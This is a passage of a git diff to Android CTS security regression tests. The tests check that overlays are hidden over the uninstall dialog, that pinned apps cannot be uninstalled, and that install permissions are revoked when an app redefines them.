+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:padding="8dp"
+ android:gravity="center">
+
+ <TextView android:id="@+id/overlay_description"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:textColor="@android:color/black"
+ android:background="@android:color/white"
+ android:text="This is an overlay" />
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
new file mode 100644
index 0000000..84c2696
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
@@ -0,0 +1,164 @@
+/*
+ * Copyright (C) 2020 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.packageinstaller.uninstall.cts;
+
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.android.compatibility.common.util.SystemUtil.eventually;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityTaskManager;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+import android.server.wm.WindowManagerStateHelper;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class UninstallPinnedTest {
+
+ private static final String APK =
+ "/data/local/tmp/cts/uninstall/CtsSelfUninstallingTestApp.apk";
+ private static final String TEST_PKG_NAME = "android.packageinstaller.selfuninstalling.cts";
+ private static final String TEST_ACTIVITY_NAME = TEST_PKG_NAME + ".SelfUninstallActivity";
+ private static final String ACTION_SELF_UNINSTALL =
+ "android.packageinstaller.selfuninstalling.cts.action.SELF_UNINSTALL";
+ private static final ComponentName COMPONENT = new ComponentName(TEST_PKG_NAME, TEST_ACTIVITY_NAME);
+ public static final String CALLBACK_ACTION =
+ "android.packageinstaller.uninstall.cts.action.UNINSTALL_PINNED_CALLBACK";
+
+ private WindowManagerStateHelper mWmState = new WindowManagerStateHelper();
+ private Context mContext;
+ private UiDevice mUiDevice;
+ private ActivityTaskManager mActivityTaskManager;
+
+ @Before
+ public void setup() throws Exception {
+ mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ mActivityTaskManager = mContext.getSystemService(ActivityTaskManager.class);
+
+ // Unblock UI
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ if (!mUiDevice.isScreenOn()) {
+ mUiDevice.wakeUp();
+ }
+ mUiDevice.executeShellCommand("wm dismiss-keyguard");
+ AppOpsUtils.reset(mContext.getPackageName());
+
+ runShellCommand("pm install -r --force-queryable " + APK);
+
+ Intent i = new Intent()
+ .setComponent(COMPONENT)
+ .addFlags(FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(i);
+
+ pinActivity(COMPONENT);
+ }
+
+ @Test
+ public void testAppCantUninstallItself() throws Exception {
+ mUiDevice.waitForIdle();
+ eventually(() -> {
+ mContext.sendBroadcast(new Intent(ACTION_SELF_UNINSTALL));
+ waitFindObject(By.text("OK")).click();
+ }, 60000);
+
+ mUiDevice.waitForIdle();
+
+ Thread.sleep(5000);
+
+ assertTrue("Package was uninstalled.", isInstalled());
+ }
+
+ @Test
+ public void testCantUninstallAppDirectly() {
+ CompletableFuture<Integer> statusFuture = new CompletableFuture<>();
+ mContext.registerReceiver(new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ statusFuture.complete(
+ intent.getIntExtra(PackageInstaller.EXTRA_STATUS, Integer.MAX_VALUE));
+ }
+ }, new IntentFilter(CALLBACK_ACTION));
+
+ runWithShellPermissionIdentity(() -> {
+ mContext.getPackageManager().getPackageInstaller().uninstall(TEST_PKG_NAME,
+ PendingIntent.getBroadcast(mContext, 1,
+ new Intent(CALLBACK_ACTION),
+ 0).getIntentSender());
+ });
+
+ int status = statusFuture.join();
+ assertEquals("Wrong code received", PackageInstaller.STATUS_FAILURE_BLOCKED, status);
+ assertTrue("Package was uninstalled.", isInstalled());
+ }
+
+ @Test
+ public void testCantUninstallWithShell() throws Exception {
+ mUiDevice.executeShellCommand("pm uninstall " + TEST_PKG_NAME);
+ assertTrue("Package was uninstalled.", isInstalled());
+ }
+
+ @After
+ public void unpinAndUninstall() throws IOException {
+ runWithShellPermissionIdentity(() -> mActivityTaskManager.stopSystemLockTaskMode());
+ mUiDevice.executeShellCommand("pm uninstall " + TEST_PKG_NAME);
+ }
+
+ private void pinActivity(ComponentName component) {
+ mWmState.computeState();
+
+ int stackId = mWmState.getStackIdByActivity(component);
+
+ runWithShellPermissionIdentity(() -> {
+ mActivityTaskManager.startSystemLockTaskMode(
+ stackId);
+ });
+ }
+
+ private boolean isInstalled() {
+ try {
+ mContext.getPackageManager().getPackageInfo(TEST_PKG_NAME, 0);
+ return true;
+ } catch (PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+}
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
index ca3cb3e..ce7878f 100644
--- a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
@@ -15,24 +15,38 @@
*/
package android.packageinstaller.uninstall.cts;
+import static android.app.AppOpsManager.MODE_ALLOWED;
import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.graphics.PixelFormat.TRANSLUCENT;
+import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
+import android.os.Handler;
+import android.os.Looper;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.Until;
import android.util.Log;
+import android.view.Gravity;
import android.view.KeyEvent;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
@@ -85,14 +99,58 @@
}
}
- @Test
- public void testUninstall() throws Exception {
- assertTrue(isInstalled());
-
+ private void startUninstall() {
Intent intent = new Intent(Intent.ACTION_UNINSTALL_PACKAGE);
intent.setData(Uri.parse("package:" + TEST_APK_PACKAGE_NAME));
intent.addFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
mContext.startActivity(intent);
+ }
+
+ @SecurityTest
+ @Test
+ public void overlaysAreSuppressedWhenConfirmingUninstall() throws Exception {
+ AppOpsUtils.setOpMode(mContext.getPackageName(), "SYSTEM_ALERT_WINDOW", MODE_ALLOWED);
+
+ WindowManager windowManager = mContext.getSystemService(WindowManager.class);
+ LayoutParams layoutParams = new LayoutParams(MATCH_PARENT, MATCH_PARENT,
+ TYPE_APPLICATION_OVERLAY, 0, TRANSLUCENT);
+ layoutParams.gravity = Gravity.CENTER_HORIZONTAL | Gravity.CENTER_VERTICAL;
+
+ View[] overlay = new View[1];
+ new Handler(Looper.getMainLooper()).post(() -> {
+ overlay[0] = LayoutInflater.from(mContext).inflate(R.layout.overlay_activity,
+ null);
+ windowManager.addView(overlay[0], layoutParams);
+ });
+
+ try {
+ mUiDevice.wait(Until.findObject(By.res(mContext.getPackageName(),
+ "overlay_description")), TIMEOUT_MS);
+
+ startUninstall();
+
+ long start = System.currentTimeMillis();
+ while (System.currentTimeMillis() - start < TIMEOUT_MS) {
+ try {
+ assertNull(mUiDevice.findObject(By.res(mContext.getPackageName(),
+ "overlay_description")));
+ return;
+ } catch (Throwable e) {
+ Thread.sleep(100);
+ }
+ }
+
+ fail();
+ } finally {
+ windowManager.removeView(overlay[0]);
+ }
+ }
+
+ @Test
+ public void testUninstall() throws Exception {
+ assertTrue(isInstalled());
+
+ startUninstall();
if (mUiDevice.wait(Until.findObject(By.text("Do you want to uninstall this app?")),
TIMEOUT_MS) == null) {
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index a99565e..7c8c56b 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -20,6 +20,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
// Include both the 32 and 64 bit versions
compile_multilib: "both",
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index a49ca3a..ef2a09f 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -61,8 +61,9 @@
<option name="push" value="CtsVictimPermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsVictimPermissionDefinerApp.apk" />
<option name="push" value="CtsRuntimePermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsRuntimePermissionDefinerApp.apk" />
<option name="push" value="CtsRuntimePermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsRuntimePermissionUserApp.apk" />
- <option name="push" value="CtsInstalltimePermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsInstalltimePermissionDefinerApp.apk" />
- <option name="push" value="CtsInstalltimePermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsInstalltimePermissionUserApp.apk" />
+ <option name="push" value="CtsInstallPermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsInstallPermissionDefinerApp.apk" />
+ <option name="push" value="CtsInstallPermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsInstallPermissionUserApp.apk" />
+ <option name="push" value="CtsInstallPermissionEscalatorApp.apk->/data/local/tmp/cts/permissions/CtsInstallPermissionEscalatorApp.apk" />
<option name="push" value="CtsAppThatRequestsOneTimePermission.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsOneTimePermission.apk" />
<option name="push" value="AppThatDefinesUndefinedPermissionGroupElement.apk->/data/local/tmp/cts/permissions/AppThatDefinesUndefinedPermissionGroupElement.apk" />
</target_preparer>
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
index 4e1272a..9aa6735 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
@@ -22,6 +22,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
srcs: [
"src/**/*.java",
diff --git a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
index 56a8000..1dec34f 100644
--- a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
+++ b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
@@ -22,5 +22,6 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
}
diff --git a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
index fc424ea..5e5a1c7 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
@@ -22,6 +22,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
srcs: ["src/**/*.java"],
}
diff --git a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
index d38374f..d6cff70 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
@@ -22,6 +22,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
srcs: ["src/**/*.java"],
}
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 53b7d18..1a9c8dc 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -74,6 +74,8 @@
import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.ProtoUtils;
+import com.android.compatibility.common.util.mainline.MainlineModule;
+import com.android.compatibility.common.util.mainline.ModuleDetector;
import com.android.server.job.nano.JobSchedulerServiceDumpProto;
import com.android.server.job.nano.JobSchedulerServiceDumpProto.RegisteredJob;
@@ -111,6 +113,7 @@
private static final long UNEXPECTED_TIMEOUT_MILLIS = 10000;
private static final long EXPECTED_TIMEOUT_MILLIS = 1000;
private static final long LOCATION_ACCESS_TIMEOUT_MILLIS = 15000;
+ private static final long LOCATION_ACCESS_JOB_WAIT_MILLIS = 250;
// Same as in AccessLocationOnCommand
private static final long BACKGROUND_ACCESS_SETTLE_TIME = 11000;
@@ -133,6 +136,11 @@
private static ServiceConnection sConnection;
private static IAccessLocationOnCommand sLocationAccessor;
+ private static void assumeNotPlayManaged() throws Exception {
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ sContext.getPackageManager(), MainlineModule.PERMISSION_CONTROLLER));
+ }
+
/**
* Connected to {@value #TEST_APP_PKG} and make it access the location in the background
*/
@@ -270,13 +278,14 @@
+ BACKGROUND_ACCESS_SETTLE_TIME;
while (true) {
runLocationCheck();
+ Thread.sleep(LOCATION_ACCESS_JOB_WAIT_MILLIS);
StatusBarNotification notification = getPermissionControllerNotification();
if (notification == null) {
// Sometimes getting a location takes some time, hence not getting a notification
// can be caused by not having gotten a location yet
if (SystemClock.elapsedRealtime() - start < timeout) {
- Thread.sleep(200);
+ Thread.sleep(LOCATION_ACCESS_JOB_WAIT_MILLIS);
continue;
}
@@ -571,6 +580,7 @@
@Test
@SecurityTest(minPatchLevel = "2019-12-01")
public void notificationIsShownOnlyOnce() throws Throwable {
+ assumeNotPlayManaged();
accessLocation();
getNotification(true);
@@ -580,6 +590,7 @@
@Test
@SecurityTest(minPatchLevel = "2019-12-01")
public void notificationIsShownAgainAfterClear() throws Throwable {
+ assumeNotPlayManaged();
accessLocation();
getNotification(true);
@@ -617,6 +628,7 @@
@Test
@SecurityTest(minPatchLevel = "2019-12-01")
public void removeNotificationOnUninstall() throws Throwable {
+ assumeNotPlayManaged();
accessLocation();
getNotification(false);
@@ -657,6 +669,7 @@
@Test
@SecurityTest(minPatchLevel = "2019-12-01")
public void noNotificationIfFeatureDisabled() throws Throwable {
+ assumeNotPlayManaged();
disableLocationAccessCheck();
accessLocation();
assertNull(getNotification(true));
@@ -665,7 +678,9 @@
@Test
@SecurityTest(minPatchLevel = "2019-12-01")
public void notificationOnlyForAccessesSinceFeatureWasEnabled() throws Throwable {
+ assumeNotPlayManaged();
// Disable the feature and access location in disabled state
+ getNotification(true, true);
disableLocationAccessCheck();
accessLocation();
assertNull(getNotification(true));
@@ -682,6 +697,7 @@
@Test
@SecurityTest(minPatchLevel = "2019-12-01")
public void noNotificationIfBlamerNotSystemOrLocationProvider() throws Throwable {
+ assumeNotPlayManaged();
getNotification(true);
// Blame the app for access from an untrusted for notification purposes package.
runWithShellPermissionIdentity(() -> {
@@ -695,6 +711,7 @@
@Test
@SecurityTest(minPatchLevel = "2019-12-01")
public void testOpeningLocationSettingsDoesNotTriggerAccess() throws Throwable {
+ assumeNotPlayManaged();
Intent intent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
sContext.startActivity(intent);
diff --git a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
index 466fb7f..57e8755 100644
--- a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
@@ -35,6 +35,7 @@
import com.android.compatibility.common.util.SystemUtil;
+import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -52,17 +53,19 @@
APP_PKG_NAME_BASE + ".runtimepermissionuserapp";
private static final String RUNTIME_PERMISSION_DEFINER_PKG_NAME =
APP_PKG_NAME_BASE + ".runtimepermissiondefinerapp";
- private static final String INSTALLTIME_PERMISSION_USER_PKG_NAME =
- APP_PKG_NAME_BASE + ".installtimepermissionuserapp";
- private static final String INSTALLTIME_PERMISSION_DEFINER_PKG_NAME =
- APP_PKG_NAME_BASE + ".installtimepermissiondefinerapp";
+ private static final String INSTALL_PERMISSION_USER_PKG_NAME =
+ APP_PKG_NAME_BASE + ".installpermissionuserapp";
+ private static final String INSTALL_PERMISSION_DEFINER_PKG_NAME =
+ APP_PKG_NAME_BASE + ".installpermissiondefinerapp";
+ private static final String INSTALL_PERMISSION_ESCALATOR_PKG_NAME =
+ APP_PKG_NAME_BASE + ".installpermissionescalatorapp";
private static final String TEST_PERMISSION =
"android.permission.cts.revokepermissionwhenremoved.TestPermission";
private static final String TEST_RUNTIME_PERMISSION =
APP_PKG_NAME_BASE + ".TestRuntimePermission";
- private static final String TEST_INSTALLTIME_PERMISSION =
- APP_PKG_NAME_BASE + ".TestInstalltimePermission";
+ private static final String TEST_INSTALL_PERMISSION =
+ APP_PKG_NAME_BASE + ".TestInstallPermission";
private static final String ADVERSARIAL_PERMISSION_DEFINER_APK_NAME =
"CtsAdversarialPermissionDefinerApp";
@@ -74,14 +77,15 @@
"CtsRuntimePermissionDefinerApp";
private static final String RUNTIME_PERMISSION_USER_APK_NAME =
"CtsRuntimePermissionUserApp";
- private static final String INSTALLTIME_PERMISSION_DEFINER_APK_NAME =
- "CtsInstalltimePermissionDefinerApp";
- private static final String INSTALLTIME_PERMISSION_USER_APK_NAME =
- "CtsInstalltimePermissionUserApp";
+ private static final String INSTALL_PERMISSION_DEFINER_APK_NAME =
+ "CtsInstallPermissionDefinerApp";
+ private static final String INSTALL_PERMISSION_USER_APK_NAME =
+ "CtsInstallPermissionUserApp";
+ private static final String INSTALL_PERMISSION_ESCALATOR_APK_NAME =
+ "CtsInstallPermissionEscalatorApp";
private Context mContext;
private Instrumentation mInstrumentation;
- private Object mMySync = new Object();
@Before
public void setContextAndInstrumentation() {
@@ -94,6 +98,19 @@
SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP");
}
+ @After
+ public void cleanUpTestApps() throws Exception {
+ uninstallApp(ADVERSARIAL_PERMISSION_DEFINER_PKG_NAME, true);
+ uninstallApp(ADVERSARIAL_PERMISSION_USER_PKG_NAME, true);
+ uninstallApp(VICTIM_PERMISSION_DEFINER_PKG_NAME, true);
+ uninstallApp(RUNTIME_PERMISSION_DEFINER_PKG_NAME, true);
+ uninstallApp(RUNTIME_PERMISSION_USER_PKG_NAME, true);
+ uninstallApp(INSTALL_PERMISSION_USER_PKG_NAME, true);
+ uninstallApp(INSTALL_PERMISSION_DEFINER_PKG_NAME, true);
+ uninstallApp(INSTALL_PERMISSION_ESCALATOR_PKG_NAME, true);
+ Thread.sleep(5000);
+ }
+
private boolean permissionGranted(String pkgName, String permName)
throws PackageManager.NameNotFoundException {
PackageInfo appInfo = mContext.getPackageManager().getPackageInfo(pkgName,
@@ -112,19 +129,20 @@
private void installApp(String apk) throws InterruptedException {
String installResult = SystemUtil.runShellCommand(
"pm install -r -d data/local/tmp/cts/permissions/" + apk + ".apk");
- synchronized (mMySync) {
- mMySync.wait(10000);
- }
assertEquals("Success", installResult.trim());
+ Thread.sleep(5000);
}
private void uninstallApp(String pkg) throws InterruptedException {
- String uninstallResult = SystemUtil.runShellCommand(
- "pm uninstall " + pkg);
- synchronized (mMySync) {
- mMySync.wait(10000);
+ uninstallApp(pkg, false);
+ }
+
+ private void uninstallApp(String pkg, boolean cleanUp) throws InterruptedException {
+ String uninstallResult = SystemUtil.runShellCommand("pm uninstall " + pkg);
+ if (!cleanUp) {
+ assertEquals("Success", uninstallResult.trim());
+ Thread.sleep(5000);
}
- assertEquals("Success", uninstallResult.trim());
}
private void grantPermission(String pkg, String permission) {
@@ -134,7 +152,7 @@
@SecurityTest
@Test
- public void permissionShouldBeRevokedIfRemoved() throws Throwable {
+ public void runtimePermissionShouldBeRevokedIfRemoved() throws Throwable {
installApp(ADVERSARIAL_PERMISSION_DEFINER_APK_NAME);
installApp(ADVERSARIAL_PERMISSION_USER_APK_NAME);
@@ -146,12 +164,10 @@
uninstallApp(ADVERSARIAL_PERMISSION_DEFINER_PKG_NAME);
installApp(VICTIM_PERMISSION_DEFINER_APK_NAME);
assertFalse(permissionGranted(ADVERSARIAL_PERMISSION_USER_PKG_NAME, TEST_PERMISSION));
- uninstallApp(ADVERSARIAL_PERMISSION_USER_PKG_NAME);
- uninstallApp(VICTIM_PERMISSION_DEFINER_PKG_NAME);
}
@Test
- public void permissionShouldRemainGrantedAfterAppUpdate() throws Throwable {
+ public void runtimePermissionShouldRemainGrantedAfterAppUpdate() throws Throwable {
installApp(RUNTIME_PERMISSION_DEFINER_APK_NAME);
installApp(RUNTIME_PERMISSION_USER_APK_NAME);
@@ -162,8 +178,6 @@
// operation
installApp(RUNTIME_PERMISSION_DEFINER_APK_NAME);
assertTrue(permissionGranted(RUNTIME_PERMISSION_USER_PKG_NAME, TEST_RUNTIME_PERMISSION));
- uninstallApp(RUNTIME_PERMISSION_USER_PKG_NAME);
- uninstallApp(RUNTIME_PERMISSION_DEFINER_PKG_NAME);
}
@Test
@@ -183,26 +197,46 @@
// Now uninstall the permission definer; the user packages' permission should be revoked
uninstallApp(ADVERSARIAL_PERMISSION_DEFINER_PKG_NAME);
assertFalse(permissionGranted(ADVERSARIAL_PERMISSION_USER_PKG_NAME, TEST_PERMISSION));
+ }
- uninstallApp(ADVERSARIAL_PERMISSION_USER_PKG_NAME);
+ @SecurityTest
+ @Test
+ public void installPermissionShouldBeRevokedIfRemoved() throws Throwable {
+ installApp(INSTALL_PERMISSION_DEFINER_APK_NAME);
+ installApp(INSTALL_PERMISSION_USER_APK_NAME);
+ assertTrue(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
+
+ // Uninstall the app which defines the install permission, and install another app
+ // redefining it as a runtime permission.
+ uninstallApp(INSTALL_PERMISSION_DEFINER_PKG_NAME);
+ installApp(INSTALL_PERMISSION_ESCALATOR_APK_NAME);
+ assertFalse(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
}
@Test
- public void installtimePermissionDependencyTest() throws Throwable {
- installApp(INSTALLTIME_PERMISSION_USER_APK_NAME);
- // Should not have the permission auto-granted
- assertFalse(permissionGranted(
- INSTALLTIME_PERMISSION_USER_PKG_NAME, TEST_INSTALLTIME_PERMISSION));
- // Now install the permission definer; user package should have the permission auto granted
- installApp(INSTALLTIME_PERMISSION_DEFINER_APK_NAME);
- installApp(INSTALLTIME_PERMISSION_USER_APK_NAME);
- assertTrue(permissionGranted(
- INSTALLTIME_PERMISSION_USER_PKG_NAME, TEST_INSTALLTIME_PERMISSION));
- // Now uninstall the permission definer; the user packages' permission will not be revoked
- uninstallApp(INSTALLTIME_PERMISSION_DEFINER_PKG_NAME);
- assertTrue(permissionGranted(
- INSTALLTIME_PERMISSION_USER_PKG_NAME, TEST_INSTALLTIME_PERMISSION));
+ public void installPermissionShouldRemainGrantedAfterAppUpdate() throws Throwable {
+ installApp(INSTALL_PERMISSION_DEFINER_APK_NAME);
+ installApp(INSTALL_PERMISSION_USER_APK_NAME);
+ assertTrue(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
- uninstallApp(INSTALLTIME_PERMISSION_USER_PKG_NAME);
+ // Install the app which defines the install permission again, similar to updating the app.
+ installApp(INSTALL_PERMISSION_DEFINER_APK_NAME);
+ assertTrue(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
+ }
+
+ @Test
+ public void installPermissionDependencyTest() throws Throwable {
+ installApp(INSTALL_PERMISSION_USER_APK_NAME);
+ // Should not have the permission auto-granted
+ assertFalse(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
+
+ // Now install the permission definer; user package should have the permission auto granted
+ installApp(INSTALL_PERMISSION_DEFINER_APK_NAME);
+ installApp(INSTALL_PERMISSION_USER_APK_NAME);
+ assertTrue(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
+
+ // Now uninstall the permission definer; the user package's permission should be revoked
+ uninstallApp(INSTALL_PERMISSION_DEFINER_PKG_NAME);
+ assertFalse(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
}
}
diff --git a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
index ba9212b..d293c70 100644
--- a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
+++ b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
@@ -25,6 +25,7 @@
import android.os.Process
import android.support.test.uiautomator.By
import android.support.test.uiautomator.UiDevice
+import android.support.test.uiautomator.UiObject2
import android.support.test.uiautomator.UiObjectNotFoundException
import androidx.test.platform.app.InstrumentationRegistry
import com.android.compatibility.common.util.SystemUtil
@@ -34,6 +35,7 @@
import org.junit.Assert
import org.junit.Before
import org.junit.Test
+import java.util.regex.Pattern
/**
* Tests that the permissioncontroller behaves normally when an app defines a permission in the
@@ -44,11 +46,12 @@
private var mUiDevice: UiDevice? = null
private var mContext: Context? = null
private var mPm: PackageManager? = null
+ private var mAllowButtonText: Pattern? = null
@Before
fun install() {
SystemUtil.runShellCommand("pm install -r " +
- "$TEST_APP_DEFINES_UNDEFINED_PERMISSION_GROUP_ELEMENT_APK")
+ TEST_APP_DEFINES_UNDEFINED_PERMISSION_GROUP_ELEMENT_APK)
}
@Before
@@ -57,6 +60,14 @@
mUiDevice = UiDevice.getInstance(mInstrumentation)
mContext = mInstrumentation?.targetContext
mPm = mContext?.packageManager
+ val permissionControllerResources = mContext?.createPackageContext(
+ mContext?.packageManager?.permissionControllerPackageName, 0)?.resources
+ mAllowButtonText = Pattern.compile(
+ Pattern.quote(requireNotNull(permissionControllerResources?.getString(
+ permissionControllerResources.getIdentifier(
+ "grant_dialog_button_allow", "string",
+ "com.android.permissioncontroller")))),
+ Pattern.CASE_INSENSITIVE or Pattern.UNICODE_CASE)
}
@Before
@@ -94,9 +105,7 @@
eventually {
startRequestActivity(arrayOf(TEST))
mUiDevice!!.waitForIdle()
- waitFindObject(By.res(
- "com.android.permissioncontroller:id/permission_allow_button"),
- 100).click()
+ findAllowButton().click()
}
eventually {
Assert.assertEquals(mPm!!.checkPermission(CAMERA, APP_PKG_NAME),
@@ -113,6 +122,17 @@
SystemUtil.runShellCommand("pm uninstall $APP_PKG_NAME")
}
+ fun findAllowButton(): UiObject2 {
+ return if (mContext?.packageManager
+ ?.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) == true) {
+ waitFindObject(By.text(mAllowButtonText), 100)
+ } else {
+ waitFindObject(By.res(
+ "com.android.permissioncontroller:id/permission_allow_button"),
+ 100)
+ }
+ }
+
/**
* If app has one permission granted, then it can't grant itself another permission for free.
*/
@@ -131,7 +151,12 @@
startRequestActivity(arrayOf(targetPermission))
mUiDevice!!.waitForIdle()
try {
- waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+ if (mContext?.packageManager
+ ?.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) == true) {
+ findAllowButton()
+ } else {
+ waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+ }
} catch (e: UiObjectNotFoundException) {
Assert.assertEquals("grant dialog never showed.",
